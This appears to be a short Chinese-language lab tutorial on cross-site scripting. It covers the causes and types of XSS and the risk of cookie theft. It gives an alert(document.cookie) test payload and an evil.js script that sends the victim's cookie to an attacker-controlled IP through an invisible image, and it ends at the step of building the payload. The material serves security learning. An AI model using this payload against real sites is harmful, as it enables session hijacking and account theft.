XSS漏洞出现的原因
程序对输入和输出控制不够严格,导致恶意构造的脚本输入后,在输出到前端时被浏览器当作有效代码解析执行而产生危害
XSS分类
反射型XSS
储存性XSS
DOM型XSS
XSS的危害
劫持用户COOKIE
Cookie是用户对于特定网站的身份验证标志。XSS可以盗取用户的Cookie,从而利用该Cookie获取用户对该网站的操作权限。
反射型XSS(get)
首先,试试直接获取本地的cookie
先修改字符长度的限制
然后输入
<script>alert(document.cookie)</script>
就能获取cookie
利用这个原理可以尝试截取其他用户的cookie
方法一:
提前在攻击机上写好js代码evil.js
var img=document.createElement("img");
img.src="http://192.168.111.130/log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把 document.cookie 对象作为参数发送到远程服务器,这样,就完成了一个简单的窃取 Cookie 的 XSS Payload
构造payload